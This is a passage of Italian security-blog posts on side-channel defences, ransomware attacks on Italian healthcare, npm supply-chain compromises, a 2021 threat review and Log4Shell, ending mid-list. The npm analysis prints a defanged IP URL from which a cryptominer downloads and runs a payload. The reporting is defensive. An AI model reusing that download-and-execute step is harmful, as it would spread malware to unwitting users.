Ovviamente la situazione reale è ben più complessa di quanto appena descritto, ma è anche vero che, ad oggi, alle misure ottenibili dagli strumenti vengono affiancati modelli e calcoli statistici che permettono, in quasi tutti i casi e con tutti gli schemi di cifratura, di ottenere le chiavi private.

Remediation

Per far fronte a questi attacchi la cosa migliore consiste nell’implementare algoritmi di crittografia prestando attenzione al codice e per poter resistere agli attacchi basati sul tempo è necessario creare algoritmi la cui esecuzione sia indipendente dai dati in input.

Questi ultimi vengono chiamati algoritmi a tempo costante e vanno creati usando delle particolari tecniche di coding che spesso richiedono un grande sforzo da parte dei programmatori. La grande difficoltà, inoltre, è mantenere un buon livello di efficienza.

Contro gli attacchi che si basano sul consumo di potenza, come è ovvio pensare, bisogna programmare algoritmi il cui consumo di risorse sia indipendente dai dati in input. Per fare questo esistono delle tecniche chiamate masking. Ci sono vari modi per mascherare il consumo delle varie operazioni e, spesso, questi stessi portano ad un peggioramento dell’efficienza dell’algoritmo. A scopo esemplificativo, di seguito, viene riportata la più semplice ma efficace tecnica di masking.

Questa tecnica si basa sul mischiare i dati in input con del materiale randomico: effettuare i calcoli e, prima di produrre il risultato, eliminare i dati randomici. In questo modo la potenza consumata sarà sempre casuale perché lo saranno anche i dati su cui lavora l’algoritmo.

Una domanda che viene spontanea è: ma è davvero possibile rimuovere i dati randomici alla fine del calcolo? La risposta è sì, ma la tecnica utilizzata dipende per singolo caso. Spesso, in alcuni tipi di hardware è complesso creare dei dati casuali: in quei casi esistono altre tecniche per portare ad un consumo di potenza casuale.

L’insieme di implementazione a tempo costante e tecniche di masking permettono una buona o, in alcuni casi, perfetta protezione contro gli attacchi side-channel. Il problema, però, è che queste remediation vanno applicate in fase di sviluppo e di design matematico dell’algoritmo e, oltre a richiedere delle competenze molto specifiche da parte dei programmatori, è necessario applicarle senza andare a sacrificare troppo le performance.

Perchè la Cyber Security rappresenta una priorità nel settore Healthcare

Ilaria Martinelli — Fri, 28 Jan 2022 14:16:01 +0000

Nel nostro Almanacco 2021 abbiamo ripercorso tutti gli step fondamentali dell’anno passato. Quello che è emerso è che, tra i vari metodi di attacco che possono compromettere il normale funzionamento delle aziende, il phishing rimane ancora uno dei più diffusi e i settori maggiormente colpiti sono quelli dell’Healthcare, le telecomunicazioni, il settore bancario e finanziario e la distribuzione, settori in cui le informazioni sensibili esfiltrate durante l’attacco possono essere rivendute più facilmente.

Proprio il settore sanitario ha catturato il nostro interesse per numero di attacchi subiti e soprattutto per l’impatto che questi hanno avuto e che potenzialmente potrebbero avere in futuro sulle nostre vite.

Il settore sanitario, che comprende ospedali, cliniche, case farmaceutiche, istituti di ricerca e organizzazioni accademiche, nell’ultimo decennio ha assistito ad una crisi dovuta alla drastica riduzione del personale sanitario da un lato, e da un lento adattamento alle novità in termini di tecnologia dall’altro. Obsolescenza dei terminali, mancati investimenti sensibili sulla sicurezza e processi non condivisi sono solo alcuni degli aspetti da implementare.

In risposta all’emergenza Covid-19, il sistema sanitario si è dovuto, in poco tempo, adeguare alla transizione digitale iniziando ad adottare dispositivi mobili e servizi cloud.

Le tecnologie sono risultate fondamentali in questo periodo perché hanno permesso un maggior coordinamento dell’ecosistema, la possibilità di ricevere diagnosi a distanza, evitare assembramenti e, di conseguenza, di limitare la circolazione del virus.

D’altro canto, questa rapida digitalizzazione ha riscosso un enorme interesse da parte dei cyber criminali, sia per la qualità e quantità delle informazioni che navigano in queste piattaforme, sia perché i dispositivi, se non adeguatamente protetti, permettono una maggiore superficie di attacco da parte dei criminali.

Casi italiani

In Italia, secondo l’ultimo report Clusit 2022, il settore maggiormente colpito è stato quello della PA, seguito dall’Healthcare. Secondo il report, inoltre, nel semestre gennaio-giugno 2021 gli attacchi ai danni del settore della sanità sono aumentati del 19%.

Img source: clusit.it

Di seguito riportiamo alcuni casi recenti che è il caso di citare:

Regione Lazio

A luglio 2021, i servizi informatici della regione Lazio hanno subito un attacco ransomware che, secondo le fonti ufficiali, non è riuscito a trafugare né eliminare dati personali. Nonostante il caso sia successo qualche mese fa, sono ancora pochi i dettagli dell’attacco del 30 luglio che ha mandato in tilt il sistema informatico e quello dedicato alle vaccinazioni per il Covid-19. In questo attacco, pare che l’anello debole sia stato un dipendente a cui erano state rubate precedentemente le credenziali di accesso al sistema. I danni sono stati però sotto l’occhio di tutti: un mese di interruzione dei servizi colpendo in particolar modo il database delle vaccinazioni e di rilascio dei green pass, provocando ritardi soprattutto in un periodo di grande richiesta quale quello estivo. I dati sono stati recuperati da un backup che era stato cancellato e non criptato e l’infezione è stata rilevata e bloccata in tempi brevi.

Regione Campania

In Campania, invece, il 12 gennaio 2022, la ASL NA3 che serve 56 comuni della provincia di Napoli ha annunciato di aver subito un attacco informatico che ha creato gravi disagi e disservizi, tra cui l’impossibilità di prenotare tamponi, vaccini e consultare gli esiti del test. Il caso è estremamente recente e ha coinvolto gli esperti del settore e le forze di polizia, che stanno lavorando per capire se i dati sensibili siano già online. Tuttavia, al momento non ci è dato sapere quale sia stata la natura dell’incidente, né quali e quanti server siano stati compromessi. L’attacco è stato però rivendicato recentemente sul DLS del gruppo criminale Sabbath, con la condivisione di due elementi importanti: la prova del furto dei dati e i commenti tecnici in cui la cyber gang elenca le mancanze riscontrate nelle security operation dell’azienda sanitaria (quando si dice oltre al danno la beffa).

ULSS 6 Euganea

Altro caso recente riguarda l’azienda sanitaria ULSS 6 Euganea di Padova e il suo epilogo particolarmente interessante per le dinamiche. Il 3 dicembre 2021 la ULSS 6 ha subito un attacco hacker che ha portato al blocco della maggior parte dei server. Le prenotazioni per i vaccini, le nuove registrazioni dei pazienti, il sistema dei laboratori e i punti di prelievo sono stati sospesi e ripristinati dopo più di 13 giorni, grazie al lavoro di tecnici e informatici all’opera per minimizzare i danni dell’incidente informatico. Nei primi giorni del 2022, si è venuti a conoscenza che la cyber gang che ha violato la ULSS 6 è Lockbit 2.0, già famosa per attacchi ad altre aziende come Thales, Moncler e Regione Lazio. Il gruppo criminale aveva annunciato di pubblicare i dati dell’azienda sanitaria il giorno 15 gennaio in caso di mancato pagamento del riscatto richiesto, data che è stata poi posticipata di tre giorni. La promessa non è però stata mantenuta perché, nel corso della giornata del 15 gennaio, i dati dell’azienda sono stati pubblicati sul Data Leak Site di Lockbit 2.0. I circa 9300 file resi pubblici contengono informazioni di ogni genere: dalla gestione dell’ospedale e del personale, ai dati sensibili dei pazienti.

Il danno economico e il valore dei dati sanitari

Se in genere gli attacchi informatici oltre ai danni economici portano anche danni reputazionali, l’impatto sul settore sanitario può causare problemi ben più gravi. La perdita di dati o l’impossibilità di accedere tempestivamente alle cartelle cliniche dei pazienti possono avere effetti pericolosi per la salute dei pazienti stessi.

Gli avversari informatici si sono addentrati in questo settore senza dubbio attratti dal valore delle informazioni sensibili che possono essere esfiltrate ed utilizzate per richiedere un riscatto, ma anche per la presenza di sistemi e dispositivi spesso datati e non aggiornati, aspetto che può rendere l’attacco più facile per via delle vulnerabilità non risolte.

I dati esfiltrati possono anche essere rivenduti nel dark web uno dei mercati più redditizi e con l’offerta più ampia. In CybergON ci siamo catapultati in questo “mondo oscuro” nel nostro quarto libro “Tor: the dark world” e abbiamo potuto constatare come la rivendita delle informazioni sensibili nel dark web inondi di collection diversi forum e servizi specializzati. I prezzi dei dati possono variare: più le cartelle cliniche sono ricche di informazioni legate alla salute del paziente, più il valore aumenta. Si parte da 30 dollari per arrivare fino a qualche migliaio di dollari per persone di rilievo, con una media di circa 360 dollari per cartella clinica.

Inoltre, se all’inizio della pandemia alcuni gruppi criminali avevano annunciato la loro indifferenza verso le aziende sanitarie, soprattutto per evitare danni ad organizzazioni già impegnate nella lotta contro il Covid-19, è stato poi evidenziato da una ricerca di CrowdStrike che nel 2020 sono state 104 le strutture sanitarie colpite da 18 gruppi di criminali. È il caso di citare la cyber gang DarkSide che aveva dichiarato: “Il nostro obiettivo è fare soldi, non creare disagi per la società”. Questa promessa non è però stata mantenuta, poiché il gruppo la scorsa primavera colpì il Dipartimento della Salute irlandese, durante la campagna di vaccinazione.

In Italia, solo l’11% delle organizzazioni sanitarie utilizza dispositivi medici con software aggiornati, mentre l’89% usa dispositivi medici con un sistema operativo obsoleto a causa di problemi di compatibilità, costi elevati degli aggiornamenti o per la mancanza di conoscenze tecnologiche interne; questi dati rendono il nostro paese ad alto rischio di attacchi informatici.

Come difendersi

Il virus è stata l’esca più utilizzata dai cyber criminali, soprattutto nella creazione di campagne di phishing. Le persone sono condizionate dalle comunicazioni che hanno riferimenti al Covid-19, per questo, quando si ricevono mail inerenti a questo argomento, prestano meno attenzione. È così che i criminali cercano di compromettere le credenziali degli utenti per muoversi indisturbati all’interno dei sistemi informatici.

Ci sono alcuni aspetti che vanno implementati per cercare di ridurre al minimo il rischio di un attacco. Le imprese del settore healthcare hanno assoluta necessità di proteggere le informazioni aziendali sensibili – ad esempio relative a brevetti, sperimentazioni, ricerche scientifiche, dipendenti, pazienti e clienti – ma allo stesso tempo hanno l’obbligo di monitorarle per poterle difendere con la massima efficacia possibile e rispondere anche a norme e regolamenti molto specifici. Le realtà del settore sono tipicamente soggette a regolamenti, ispezioni e obblighi di data integrity e procedure di business continuity che non giocano solo un ruolo cardine per la reputazione dell’azienda stessa, ma anche per offrire vantaggio competitivo. Sono infatti i clienti a richiedere garanzie affinché le informazioni condivise siano protette al meglio: il ruolo della cybersecurity è proprio quello di rispondere alla necessità di unire sicurezza e privacy dei dati.

Secondo il report 2021 di IBM, l’healthcare detiene il record assoluto di Data Breach per l’undicesimo anno di fila; tuttavia, è raro che si venga a sapere di un attacco, probabilmente per il timore delle aziende di dichiararlo apertamente.

Diventa quindi fondamentale per le aziende sanitarie essere consapevoli dei possibili rischi e pianificare e realizzare una difesa con specialisti che devono avere un’idea ben chiara di quali siano gli aspetti critici da proteggere, creando inoltre una cultura aziendale basata sulla formazione dei dipendenti e creando una forte consapevolezza.

Il primo elemento, anche difficile da mettere in pratica in un momento così delicato, riguarda, appunto, la formazione del personale. L’anello debole in ogni attacco informatico è sempre più spesso l’essere umano, per questo è fondamentale adottare un percorso di formazione continua. Inoltre, è importante avere policy di sicurezza adeguate che vengano condivise con tutti gli utenti.

In secondo luogo, l’implementazione dei software di sicurezza. Questi possono rilevare comportamenti anomali in tempi brevi, permettendo all’azienda di isolare i segmenti di rete o i device colpiti e neutralizzare l’azione di attacco, evitando così blocchi di servizio. È anche importante un piano per l’esecuzione di back-up cruciali che devono essere separati dalla rete IT in uso.

Gli attacchi informatici al sistema sanitario non si attenueranno, per questo investire sulla sicurezza informatica, nonostante questo possa significare un aumento degli investimenti in termini di denaro e di tempo, è l’unica soluzione per poter mitigare futuri rischi, salvaguardare la sicurezza e affidabilità delle strutture sanitarie ed evitare perdite economiche e danni umani importanti.

Attacchi alla supply chain nel mondo dell’open source

Domenico Orlando — Thu, 13 Jan 2022 14:16:01 +0000

Dopo gli attacchi informatici ai provider Solar Winds e Kaseya, che causarono la compromissione di migliaia di aziende ed enti nazionali in tutto il mondo, le organizzazioni di cyber criminali hanno diversificato le proprie strategie di attacco alla supply chain del software con l’obiettivo di consolidare sempre più il loro impatto sull’economia del cybercrime.

L’azienda americana di software Sonatype ha recentemente costruito una timeline che racchiude la breve storia di tutti gli attacchi registrati ad aziende che operano nel settore del B2B del software. Partiremo da questo strumento per un’analisi dettagliata di alcuni casi.

La libreria ua-parser-js di NPM

Scorrendo sul sito sopracitato la cronologia degli attacchi, tra cui ritroviamo il ransomware Revil di Kaseya del luglio del 2021, è importante soffermarsi su un major incident che ha visto coinvolta una sussidiaria di GitHub chiamata NPM. L’azienda americana Node Package Manager (NPM) gestisce librerie opensource Javascript ed ogni settimana, dalla sua piattaforma online, vengono effettuati milioni di download di pacchetti utilizzati da grandi aziende come Facebook, Microsoft, Amazon, Instagram, Google, Slack, Mozilla, Discord, Elastic, Intui, Reddit, etc.

Venerdì 22 ottobre 2021, per quasi 4 ore consecutive, ua-parser-js, uno dei pacchetti NPM più scaricato, è stato incorporato con uno script dannoso con l’obiettivo di installare un bitcoin miner e un trojan per raccogliere informazioni sensibili e credenziali. Le versioni compromesse dai criminali sono state le seguenti: 0.7.29, 0.8.0, 1.0.0.

Per risolvere il codice malevolo è stato effettuato un revert dal codice risalendo alla versione precedente all’attacco. La libreria ua-parser-js viene utilizzata nelle applicazioni o nei siti web per analizzare lo user agent di un browser ed identificare il browser stesso, il sistema operativo, la CPU e il dispositivo dell’utente. Quando i pacchetti malevoli vengono installati sulla macchina, uno script malevolo .js viene eseguito da una shell Linux o un file batch di Windows per dare il via alla raccolta silente di dati o per minare cryptovaluta.

Già nel 2017 NPM subì un data leak importante con 16.400 credenziali di sviluppatori esposte che permise ai criminali di accedere al 14% del repository, che si stima contenesse 79 mila pacchetti Javascript.

Per i criminali fu semplice trovare l’accesso alla maggior parte degli account tramite ricerche OSINT, poiché i dati erano già disponibili online in seguito a precedenti violazioni. Vennero identificati migliaia di utenti che utilizzavano come password il proprio username oppure password deboli come 1234 o password01. A seguito del primo attacco, venne effettuato un reset password massivo a causa delle scarse regole di cyber-igiene nell’uso delle credenziali da parte degli utenti.

I diversi attacchi del 2021, però, si pensa provenissero dalla compromissione di account dei mantainer, ovvero di quelle figure che svolgono un’attività di controllo e direzione nella pubblicazione degli sviluppi nei progetti opensource e a cui la community di utilizzatori può segnalare problematiche o discutere miglioramenti.

NPM richiederà l’autenticazione a due fattori nel primo trimestre del 2022. Secondo GitHub, infatti, nessuno dei manutentori di queste librerie popolari possedeva l’MFA abilitata sui propri account al momento della violazione di dati.

Analisi dal malware

Il 20 ottobre 2021 sono stati individuati dai ricercatori di Sonatype diversi pacchetti chiamati “okhsa” e “klown” nel registro di NPM cryptominer su macchine Windows, macOS e Linux. Tutti i pacchetti sono stati pubblicati dallo stesso autore “wozheqirsplu” il cui account è stato tempestivamente disattivato da NPM.

In particolare, le diverse versioni del pacchetto “okhsa” contengono un codice che sfrutta una vulnerabilità nell’applicazione Calcolatrice su macchine Windows.

Questi script scaricano un EXE o un ELF Linux che eseguono un codice che specifica il cryptominer da utilizzare, il portafoglio Bitcoin verso cui indirizzare la criptovaluta estratta e la quantità di CPU da utilizzare.

Inoltre, è stato identificato un file Batch contenente una sequenza di comandi come cmd.exe in alcune versioni del malware nel pacchetto “klown”.

Il cryptominer Xmrig, identificato per la prima volta nel maggio 2017, appartiene ad una delle 3 varianti più diffuse che, in particolare, ha colpito l’8% delle organizzazioni in tutto il mondo.

Il malware riesce a determinare la posizione del dispositivo e, se non si trova in un Paese tra Russia, Ucraina, Bielorussia o e Kazakistan, scarica il file http[:]//159.148.186[.]228/download/jsextension e lo esegue.

La libreria coa e rc di NPM

Risalendo lungo la cronologia della supplychain di Sonatype arriviamo a novembre 2021 quando la libreria chiamata “coa” fu colpita dallo stesso identico attacco di ua-parser-js.

Una versione malevola di “coa” compromessa conteneva trojan simili a quelli visti nel caso di NPM per il furto di credenziali. Poche ore dopo, “rc”, un’altra libreria con 14 milioni di download settimanali, subì lo stesso hijacking.

Tutti gli attacchi hanno avuto una linea in comune: vi è infatti un collegamento tra i criminali e gli incidenti.

Il 16 novembre 2021 i ricercatori Kajetan Grzybowski e Maciej Piechota hanno risolto una vulnerabilità che consentiva la pubblicazione non autorizzata di nuove versioni dal 2020.

In particolare, il problema riguardava il registro JavaScript NPM che consentiva ad un utente malintenzionato di aggiornare qualsiasi pacchetto utilizzando un account senza autorizzazione. GitHub ha dichiarato che la vulnerabilità non è stata sfruttata nella maniera più assoluta in modo dannoso (almeno da settembre 2020).

I rischi dell’open source

Oltre il 90% di qualsiasi applicazione moderna è costituita da codice open source, consentendo sia l’ispezione del codice che la sua modifica e miglioramento. Alcuni rischi per la sicurezza informatica derivano dalla costruzione del software open source e dal metodo di distribuzione che in gran parte non è ancora regolamentato.

I rischi principali sono:

Le vulnerabilità nel software open source sono rese di dominio pubblico dai contributori stessi, nonché da organizzazioni come l’NVD. Se non si effettuano gli aggiornamenti alle ultime versioni o componenti in breve tempo, ci si espone ad un rischio elevato, poiché le vulnerabilità sono spesso identificate e immediatamente sfruttate dai criminali informatici.
Gli sviluppatori responsabili della creazione del software spesso non sono esperti di sicurezza e il rischio che si corre è che potrebbero non essere seguite ed implementate le best practice.
Spesso il software open source richiede l’uso di librerie di terze parti estratte dai gestori di pacchetti, come NMP. La natura black-box di queste librerie rende più difficile e dispendioso, in termini di tempo, identificare e correggere eventuali vulnerabilità che potrebbero essere introdotte nel codice originale dai criminali informatici. Inoltre, la difficoltà nel trovare una vulnerabilità aumenta ancora di più considerando la complessità esponenziale dei sistemi informatici.
Infine, il software open source non fornisce alcuna garanzia in merito alla sua sicurezza o al suo contenuto.

I membri della comunità possono fornire supporto per problemi di sicurezza attraverso forum aperti senza però essere responsabili in caso di eventuali problemi nel codice. Inoltre, il software open source è generalmente creato da comunità di contributori a volte anonimi, per questo è difficile verificare che il codice fornito sia originale e non preso da una fonte di terze parti.

Conclusione

Un caso che mette in luce quanto sia potenzialmente pericoloso dedicare un’infrastruttura all’open source è quello del 10 gennaio del 2022: uno sviluppatore ha intenzionalmente corrotto due librerie open source su GitHub e i registri npm “faker.js” e “colors.js”, scaricati rispettivamente da 2,5 milioni e 2,4 milioni di utenti. Le versioni sabotate hanno fatto sì che le applicazioni emettessero all’infinito lettere e simboli.

NPM e, soprattutto, il recente caso di Log4j hanno portato un’attenzione sempre maggiore sulla software composition analysis che deve essere effettuata in anticipo per comprendere quali componenti open source vengono utilizzate nei software per poter effettuare una remediation nel caso di injection malevola.

Più in generale, è arrivato il momento che i gestori di librerie e gli sviluppatori acquisiscano e concretizzino nuove abitudini in ambito di security.

Almanacco 2021: eventi passati, trend e considerazioni

Filadelfio Emanuele — Thu, 30 Dec 2021 14:16:01 +0000

Se abbiamo definito il 2020 come l’anno 0 della cyber security, quello in cui tutti hanno scoperto il lato oscuro del digitale e ne hanno compreso i rischi, possiamo affermare che con il 2021 si conclude l’anno 1 della sicurezza informatica, quello in cui la consapevolezza ha dovuto lasciare il posto all’azione. Il Rapporto Clusit 2021 evidenzia come i costi degli attacchi cyber abbiano ormai superato il valore del 6% del PIL mondiale. Ecco, quindi, che si fanno avanti investimenti, piani di difesa e risposta alle minacce, tecnologie.

L’anno è iniziato con una delle operazioni più significative della storia della lotta al cyber crime: la chiusura di Emotet. Un’operazione particolare anche per la grandiosa collaborazione tra forze dell’ordine di tutto il mondo, che, forti di questa sinergia, hanno messo fine a una delle botnet più pericolose e note. Certo, l’operazione è stato tanto famosa quanto inutile. A Novembre Emotet è tornato con una nuova campagna, chiamata Operazione Reacharound, che sfrutta altre infrastrutture per la propria distribuzione.

Tra marzo e aprile si sono susseguiti una serie di attività pericolose che hanno innalzato di molto l’attenzione della stampa e delle aziende. La più eclatante è stata ProxyLogon: la vulnerabilità 0-day di Microsoft Exchange che ha messo in ginocchio oltre 250 mila aziende nel corso di due mesi.

Il filone degli attacchi alla supply chain iniziato nel 2020 con SolarWinds Orion ha preso definitivamente piede nel 2021 con Kaseya e altri player di mercato. Questo e altri metodi di attacco – il phishing rimane tra i più diffusi – hanno contribuito a compromettere ogni genere di azienda, con un focus globale sul settore manifatturiero e ingegneristico, healthcare, servizi e tecnologia. Una ricerca di Verizon ha indicato che nel 2021 si sono registrati quasi 30.000 attacchi dovuti per lo più ad attività di social engineering e server exploitation.

Il 25% degli attacchi mappati nel primo semestre del 2021 è stato diretto verso l’Europa. Il dato è interessante perché, secondo il rapporto Clusit, nel 2020 gli attacchi gravi contro l’Europa sono stati il 17% ed erano solo l’11% nel 2019.

Poi la pausa estiva, per molti ma non per tutti. In particolare, gli attaccanti hanno agito su due fronti in Italia: la Pubblica Amministrazione e il settore Privato. Nel primo caso, abbiamo assistito ad attacchi di impatto enorme su alcuni enti pubblici. È il caso di Regione Lazio, dell’Ospedale San Giovanni di Roma, di Regione Toscana e Lombardia, di SIAE e CGIL e della più recente ULSS6 Euganea, azienda ospedaliera di Padova. L’attenzione posta dai Governi europei su questo tema è stata crescente e l’Italia non è stata da meno. Il Governo ha istituito l’Agenzia per la cybersicurezza nazionale e ha stanziato diverse risorse per la sicurezza informatica nel PNRR. Sono segnali importanti della volontà di adeguare il comparto cyber italiano alle nuove sfide nazionali e internazionali.

Da un lato il Pubblico, dall’altro il Privato. Molte eccellenze italiane sono state oggetto dei più disparati attacchi informatici. Il made in Italy era già stato colpito nel 2020 con casi quali Luxottica e Geox, ma nella seconda parte del 2021 c’è stata un’escalation di vittime italiane che hanno contribuito a far innalzare ancora di più l’attenzione della stampa nazionale. Aziende del food come San Carlo, manifatturiere, ma anche di giocattoli (Clementoni) e del fashion (Gruppo Miroglio). In generale, gli attacchi informatici dichiarati nel Belpaese sono stati 600 al giorno, con una concentrazione sui settori della ricerca e dell’istruzione che ci permette di salire sul podio, al secondo posto dopo l’India, per media settimanale di attacchi. Secondo il report “Attacks from All Angels” di Trend Micro, nel primo semestre del 2021 l’Italia risulta il quarto Paese più colpito al mondo da attacchi informatici, soprattutto per quanto riguarda i settori che trattano informazioni sensibili come le telecomunicazioni, il settore bancario e finanziario e la distribuzione.

Infine, la seconda parte dell’anno ci ha fatto ragionare su un tema che sarà centrale anche nel 2022: le vulnerabilità. L’ultima d’impatto critico è stata quella di Log4j, ma di fatto, lo sfruttamento delle vulnerabilità note per perpetrare attacchi informatici è aumentato del 41% nel corso dell’anno passato, secondo solo all’utilizzo di malware (43%). Rimangono quindi una priorità il monitoraggio delle vulnerabilità, l’aggiornamento dei sistemi, le finestre di manutenzioni ordinarie e di emergenza. Processi che sono strutturati ancora in poche organizzazioni. Apprendimento: l’errore non è ammesso. Lasciare aperta non una porta, ma uno spiraglio, permetterà di subire un attacco in tempi da record. Sfruttando le vulnerabilità più note – come quelle che abbiamo visto protagoniste di recente – stimiamo che gli attaccanti potranno agire in meno di 48 ore. Nel 2021 questo tempo si aggirava intorno alle 48-72 ore.

Cosa aspettarci dal 2022

Cloud

Il Cloud, con la sua capacità apparentemente infinita di archiviare ed elaborare grandi quantità di dati, ha permesso alle aziende di passare al lavoro remoto con relativa facilità dopo lo scoppio della pandemia di Covid-19. Nel prossimo anno la migrazione al Cloud rimarrà un aspetto chiave per le operazioni aziendali. Gartner prevede che la spesa globale per i servizi Cloud raggiungerà oltre 482 miliardi di dollari nel 2022, con un aumento del 54% rispetto ai 313 miliardi di dollari del 2020. E se le aziende migrano sulla nuvola, i cyber-criminali non saranno da meno.

Supply Chain

La pandemia di Covid-19 ha puntato i riflettori sulla fragilità delle supply chain. Enormi carenze e ritardi economici sono sorti a causa di diversi fattori, tra cui l’aumento della domanda e la carenza di container e di lavoratori. Quando i problemi delle supply chain sono diventati un problema mondiale, tutti hanno compreso il valore di queste catene, compresi i cyber criminali che non si sono fatti sfuggire il potenziale di attacchi diretti alle stesse.

Sfruttando ulteriormente l’interruzione della catena di approvvigionamento, i threat actors potranno portare un’evoluzione nel modello di “estorsione quadrupla” nel 2022. Sfrutteranno al massimo i loro attacchi informatici spingendo sulle vittime (immaginiamo nomi sempre più importanti) per pagare ingenti somme di denaro tramite una quadruplice tecnica di estorsione: tenere i dati critici della vittima per il riscatto, minacciare di far trapelare i dati e pubblicizzare la violazione, minacciare di perseguire i clienti della vittima e attaccare la catena di approvvigionamento o i fornitori della vittima.

IoT

Si prevede che il numero di dispositivi connessi, Internet of Things (IoT), raggiungerà i 18 miliardi entro il 2022. Una conseguenza di ciò è un numero maggiore di potenziali punti di accesso per i criminali informatici che cercano di accedere a sistemi digitali sicuri. Oltre che più diffuso, nel 2022 l’IoT diventerà anche più sofisticato. Molte organizzazioni sono ora impegnate nello sviluppo di “digital twins” - simulazioni digitali che rispecchiano interi sistemi e business. Questi modelli sono spesso collegati a sistemi operativi interni all’azienda (fonte: Forbes).

Questo utilizzo massivo dell’IoT riguarda anche gli utenti, che avranno vita sempre più facilitata grazie ai dispositivi connessi. Non solo wearable e smart devices, parliamo di case sempre più connesse, assistenti vocali e auto “intelligenti”.

Se nel 2021 il numero di user di device mobili in tutto il mondo si è attestato a 7,1 miliardi, le previsioni suggeriscono che probabilmente salirà a 7,26 miliardi nel 2022. Nel 2025, questo numero potrebbe raggiungere i 7,49 miliardi (Statista). Più utenti, più connessioni e più complessità relative alla cyber security.

Cybercrime as a Service

Se il ransomware da un lato non ha mai smesso di essere un “trend”, dall’altro ha la capacità di rinnovarsi continuamente. Per il 2022 stimiamo che il malware as-a service, MaaS o RaaS, la variante meno rischiosa dell’attacco malware diretto, possa prendersi sempre più spazio. Per la cronaca, un “pacchetto” costa dai 60 ai 650 dollari e, in caso di attacco andato a buon fine, il profitto è del 70% per chi compra e del 30% per chi vende. Ne abbiamo parlato approfonditamente anche nel nostro ultimo libro.

Non-Fungible Token

Nel 2022, è probabile che vedremo NFT ovunque; questo include film, programmi TV, libri e altro ancora. Gli NFT fanno parte dell’economia digitale e stanno diventando mainstream perché consentono alle persone di possedere qualcosa che rappresenta una parte di qualcosa di più grande di loro - un’opera d’arte o un personaggio, per esempio. L’economia digitale è composta da una varietà di mercati online, tra cui videogame, immobili virtuali e piattaforme di social media come Facebook.

Ricordiamo che il principio secondo cui agiscono i cyber-criminali è quasi sempre il #followthemoney. Ecco perché bisogna considerare la tendenza degli NFT anche dal punto di vista della sicurezza.

6G is the new 5G

La pandemia ha pesato sul mobile, con il numero di abbonati che ha subito un leggero calo a livello globale. Ciò detto, la marcia del 5G non si arresta e il 2021 si è chiuso con 500 milioni di abbonati. secondo stime di ABI Research raggiungerà quota 2,6 miliardi di sottoscrittori nel 2026 a fronte di ricavi per 942 miliardi di dollari.

Questa espansione sta già facendo spazio a nuovi discorsi legati alla prossima tecnologia: 6G. Nel 2021 LG ha iniziato un progetto di sviluppo legato al 6G e le previsioni attuali indicano la possibile commercializzazione delle soluzioni entro i prossimi 4 anni, con la piena normalizzazione di queste tecnologie entro il 2025. Siamo davvero pronti?

Le nostre considerazioni

Attacchi verso aziende italiane

L’esperienza vissuta sul campo durante questo 2021 ci ha permesso di misurare un trend preoccupante. Confrontando il primo e il secondo semestre del 2021 abbiamo evidenziato un raddoppio (+200%) degli incident legati ad attacchi verso aziende italiane. In particolare, il 35% avviene attraverso attacchi ransomware e in questi casi la durata media della presenza degli attaccanti all’interno della rete del cliente si attesta tra le 2 e le 5 settimane.

Il 25% è legato al furto delle credenziali aziendali, con lo scopo di compiere attacchi man in the middle. La presenza degli attaccanti in questi casi supera i 2 mesi, proprio perché l’obiettivo è di studiare e comprendere al meglio i flussi di comunicazione dei clienti.

Password e Multi-Factor

Nel corso del 2021 abbiamo rilevato un aumento significativo di attacchi legati al furto delle credenziali utente del 180% rispetto al 2020, con un trend preoccupante sull’ultimo trimestre. Questa tendenza ci pone di fronte alla necessità oggettiva di implementare in azienda sistemi di autenticazione di nuova generazione. Stimiamo, ad esempio, che solo il 30% delle aziende che utilizzano sistemi di collaborazione Cloud come Office365 abbiano attivo un sistema di monitoraggio attivo degli accessi sospetti. Parliamo di “risky users” quando vengono rilevati accessi alla casella di posta da sorgenti non usuali (ad esempio accesso da un indirizzo estero verso una casella utilizzata principalmente in Italia). I portali Azure tracciano e visualizzano queste informazioni, ma come sempre è necessario monitorare e agire di fronte a queste segnalazioni.

Se il doppio fattore di autenticazione (MFA) per accedere alla posta elettronica aziendale era un “nice-to-have” per il 2021, sarà indispensabile per proteggere l’azienda nel corso del 2022. La sicurezza in azienda può essere ottenuta solo con la collaborazione di tutti ed è quindi necessario chiedere ai dipendenti di abituarsi ad una nuova operatività. Per ottenere il risultato atteso, un progetto di MFA deve essere affrontato ascoltando le necessità delle varie funzioni aziendali e personalizzando le policy in base alle diverse esigenze. L’ultimo step sarà quello di passare ad un sistema di autenticazione password-less attraverso l’utilizzo di un dispositivo trusted.

Sistemi di Protezione: questione di efficacia

Con la continua evoluzione e complessità degli attacchi, le protezioni aziendali devono evolvere alla stessa velocità. Stimiamo che se un’azienda ha implementato un sistema di protezione dei dispositivi utente, sistemi server e network nel corso del 2020, senza adattarlo alle nuove minacce, potrebbe perdere fino al 25% di efficacia nel corso dell’anno successivo e fino al 50% nel corso dei due anni successivi.

Nonostante gli investimenti in ambito cyber security da parte delle aziende siano in costante crescita da pochi anni a oggi, sono ancora poche le aziende aziende italiane (stimiamo circa il 15%) che hanno affrontato nel corso del 2021 progetti di adozione di protezione avanzata basato su intelligenza artificiale e analisi. Se fino a qualche anno fa parlare di antivirus era un ottimo punto di partenza, oggi non è più sufficiente ed è necessario valutare soluzioni di XDR (Extended Detection and Response).

Anche le polizze assicurative legate al rischio cyber richiedono sempre più spesso la compilazione di questionari approfonditi sul livello di protezione aziendale. Il SOC non è più un nice to have.

Buon 2022 dal team CybergON

Vulnerabilità Apache Log4j: le 5 cose da fare

Simone Errico — Wed, 15 Dec 2021 14:16:01 +0000

Il 9 dicembre è stata resa pubblica una vulnerabilità (CVE-2021-44228) che coinvolge la libreria Java Apache Log4j, largamente utilizzata a livello mondiale.

La vulnerabilità di livello critico, a cui è stato assegnato il punteggio massimo (CVSSv3: 10), permette la Remote Code Execution (RCE) senza autenticazione, consentendo all’attaccante l’esecuzione di codice arbitrario a danno dell’applicazione affetta.

Tale vulnerabilità è stata soprannominata Log4Shell ed interessa le versioni dalla 2.0-beta 9 alla 2.14.1 della libreria.

Chi è stato o potrebbe essere colpito

Per capire l’entità della vulnerabilità basti pensare che Java viene usato in oltre 3.5 miliardi di siti web e Log4j è una delle librerie più usate per il logging.

Anche Ingenuity, l’elicottero della NASA atterrato sul suolo di Marte lo scorso febbraio, usa Log4j nel proprio software, come la stessa Apache ha reso noto sul proprio account Twitter. Altre aziende che sono state colpite sono:

Apple
Tencent
Twitter
CloudFlare
Amazon
Tesla
Apache
Redis
VMWare

